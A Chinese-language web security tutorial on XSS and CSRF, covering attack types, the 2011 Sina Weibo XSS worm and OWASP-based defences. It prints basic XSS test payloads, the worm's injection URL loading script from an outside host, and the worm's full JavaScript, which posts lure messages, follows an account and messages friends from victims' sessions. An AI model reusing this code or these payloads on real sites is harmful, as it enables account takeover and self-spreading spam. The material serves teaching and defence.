WEB安全-XSS和CSRF漏洞

名词和概念

XSS -- Cross SiteScripting， 跨站脚本攻击，利用网页漏洞，注入恶意指令代码到网页，使用户加载并执行植入的脚本

Payload -- 攻击代码

CSRF -- Cross—Site Request Forgery，跨站请求伪造，盗用用户身份，发送恶意请求。

XSS原理和分类

反射型XSS

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。DOM型XSS由于危害较小，我们将其归为反射型XSS。

存储型XSS

代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行，这种XSS非常危险，容易造成蠕虫，大量盗窃cookie(虽然还有种DOM型XSS，但是也还是包括在存储型XSS内)。

举例

Payload举例

<pre><script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
'"<img/src=@ onerror=alert(1) />
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
</script><script>alert(1)</pre>

不难看出，这些payload都是通过构造字符串来中断当前的dom结构，来创造js的执行环境并达到注入恶意js的目的。

攻击事件

MySpace，百度空间，人人网，搜狐博客，新浪微博都曾遭遇XSS蠕虫攻击并造成实质性危害，一般是社交类应用中，XSS攻击比较常见。事实上只要有用户输入和自定义的地方，只要不加防范，都有可能存在XSS漏洞。乌云某马甲心伤的瘦子曾经制作了一个xss攻击的经典教程，里面用到的所有案例都是腾讯各业务部门的真实漏洞。虽然乌云网目前已被和谐，不过通过百度仍然可以找到一些镜像，来作学习之用。

新浪微博XSS蠕虫

新浪微博突然出现大范围“中毒”，大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信，并自动关注一位名为hellosamy的用户。事件的经过如下：

  • 20:14，开始有大量带V的认证用户中招转发蠕虫
  • 20:30，2kt.cn中的病毒页面无法访问
  • 20:32，新浪微博中hellosamy用户无法访问
  • 21:02，新浪漏洞修补完毕
image
image

影响：32961（这位hellosamy在帐号被封前的好友数量）。

sammy是第一个xss蠕虫的制作者，利用myspace的漏洞来实现控制其他账号发帖和关注自己的id。这个应该是为了向sammy致敬。

步骤

1、利用了新浪微博广场页存在的XSS漏洞，先使自己的微博“中毒”，在浏览器中加载如下地址即可：http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

2、使用有道提供的短域名服务（这些网址目前已经“无害”）；

例如，通过 http://163.fm/PxZHoxn ，将链接指向：

http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

3、当新浪登陆用户不小心访问到相关网页时，由于处于登录状态，会运行这个js脚本做几件事情：

  1. 发微博（让更多的人看到这些消息，自然也就有更多人受害）；
  2. 加关注，加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了；
  3. 发私信，给好友发私信传播这些链接

形成

未对用户名做转义处理！！

Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'
那么当把用户名字设置为xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的时候，得到了以下代码：

<a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//www.2kt.cn/images/t.js> </script>

Payload

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
    for(i=0;i<id.length;i++){
        sum = id[i].toString().split('"')[3];
        id_arr += sum + '||';
    }
    return id_arr;
}
function random_msg(){
    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
    var msgs = [
        '郭美美事件的一些未注意到的细节：',
        '建党大业中穿帮的地方：',
        '让女人心动的100句诗歌：',
        '3D肉团团高清普通话版种子：',
        '这是传说中的神仙眷侣啊：',
        '惊爆!范冰冰艳照真流出了：',
        '杨幂被爆多次被潜规则:',
        '傻仔拿锤子去抢银行：',
        '可以监听别人手机的软件：',
        '个税起征点有望提到4000：'];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
function follow(){
    url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    post(url,data,true);
}
function message(){
    url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
    ids = getappkey(url);
    id = ids.split('||');
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = 'content=' + msg + '&name=' + user + '&retcode=';
        post(msgurl,data,false);
    }
}
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

防御XSS

  • httponly -- 禁止js访问cookie

  • Content Security Policy -- 禁止外部js(可屏蔽运营商广告)

  • 使用自动转义的模版

  • 启用X-XSS-Protection头部

  • 使用现代框架时避免危险的属性：

    <colgroup><col><col></colgroup>

    框架名 危险方法/属性
    Angular (2+) bypassSecurityTrust
    React dangerouslySetInnerHTML
    Svelte {@html ...}
    Vue (2+) v-html

OWASP的建议

规则0 - 只允许在规则1-规则5的指定位置插入不可信内容

<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>

规则1 - 插入内容到HTML结构中的时候需要先转义

<body>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>

<div>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     
/ --> &#x2F;

规则2 - 插入不可信内容到HTML的通用属性时，需要做属性值转义

对于通用属性wide, name, value等做属性转义，相对复杂的比如href, src, style不适用该规则。另外对于onmouseover这种，应当遵从规则3针对js值的定义。

具体规则：

  1. 除字母，数字，字符以外，对ASCII值小于256的所有字符使用js编码，即&#xHH进行转义，防止属性值被关闭。不能直接用\转义完事，因为可能会连续执行多个\使得\失效。
  2. 使用属性值的时候最好加上引号，加了引号以后，值的解释只会被同类引号中断，如果没有加引号的话，中断字符包括：空格 % * + , - / ; < = > ^ 和 |.

规则3 - 插入不可信的值到javascript环境下时，只能作为数据值输入并进行js转义。

以下环境需要进行js转义：

<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>

<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>

<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>

而对于以下的环境，即便经过了转义也是危险的，因为很容易被分号，等号，空格，加号等符号中断。

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
规则3.1 - HTML环境下，对json数据进行html转义，读取数据时使用JSON.parse.

比如，当我们使用以下的代码时：

<script>
// Do NOT do this without encoding the data with one of the techniques listed below.
var initData = <%= data.to_json %>; 
</script>

最好经过json序列化和html实体编码，因为构造的数据再这个时候一般会出错。

<div id="init_data" style="display: none">
<%= html_escape(data.to_json) %>
</div>

// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);

规则4 - 数据写入css的style属性的时候，需要做css转义和严格的验证

对于需要使用不可信数据作为css时，最好只用来作为属性的值，并且复杂的属性，比如url，behavior或者定制属性如-moz-binding等的时候，最好不要使用不安全的数据。

需要转义的情形包括：

<style>
selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
</style>

<style>
selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
</style>

<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>

否则，可能导致如下的攻击：

{ background-url : "javascript:alert(1)"; }  // and all other URLs
{ text-size: "expression(alert('XSS'))"; }   // only in IE

对于属性值的转义，主要是把ASCII值小于256的非数字，字母的字符用\HH表示。另外如果属性值没有使用引号的话，则可能被空格 % * + , - / ; < = > ^ 和 |等符号中断。

</style>标签也可能被提前关闭，即使是被引号包裹，因为html在js之前解析。

规则5 - 对URL数值做URL编码

除了字母和数字以外，其他字符都用%HH进行编码；禁用data:协议，因为没有好的方式去阻止属性可能被中断。

举例：

String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255); 
if (isValidURL) {  
    <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}

规则6 -- Sanitize HTML Markup with a Library Designed for the Job

规则7 -- 避免使用javascript协议的url

CSRF

跨站请求伪造，不攻击网站服务器，而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置，用户伪造等问题，可能引发严重后果。

image
  1. 用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A； 2.在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；
  2. 用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B；
  3. 网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A；
  4. 浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

CSRF常用防御方案

  1. 同源检测，如验证referer
    • http请求可能不携带referer，使用https
    • 隐私模式下不携带referer
  2. csrftoken

FAQ

  • 有没有彻底防御xss/csrf的方法？
  • 使用了Reactjs是否仍然需要防御XSS？
  • 使用实体编码为什么不能解决问题？
  • 为什么是开发者而不是浏览器来处理安全问题？

附录

XSS防御规则

<colgroup><col><col><col><col></colgroup>

数据类型 环境 代码示例 防御方式
String Html Body <span>UNTRUSTED DATA </span> HTML实体编码
String Safe HTML Attributes <input type="text" name="fname" value="UNTRUSTED DATA "> 适用规则2，属性白名单的使用HTML实体编码，对background, id, name等进行严格验证
String src或者href属性 clickme <iframe src="UNTRUSTED URL " /> 限制协议为http，https，进行URL编码
String Css Value html
Selection 结构验证，16进制编码
String Javascript Variable <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> 加引号，16进制编码
HTML HTML Body

UNTRUSTED HTML

| 序列化/反序列化 |
| String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | 另一个话题 |

编码规则

<colgroup><col><col></colgroup>

编码类型 编码机制
HTML Entity Encoding Convert & to &, Convert < to <, Convert > to >, Convert " to ", Convert ' to ', Convert / to /
HTML Attribute Encoding Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value)
URL Encoding Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.
JavaScript Encoding Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer).
CSS Hex Encoding CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.

延伸阅读

http://prompt.ml/0

Content-Security-Policy

OWASP关于XSS的防御建议

CSRF案例

CSRF漏洞原理和利用方法

美团CSRF

CSRF基本原理

©著作权归作者所有,转载或内容合作请联系作者
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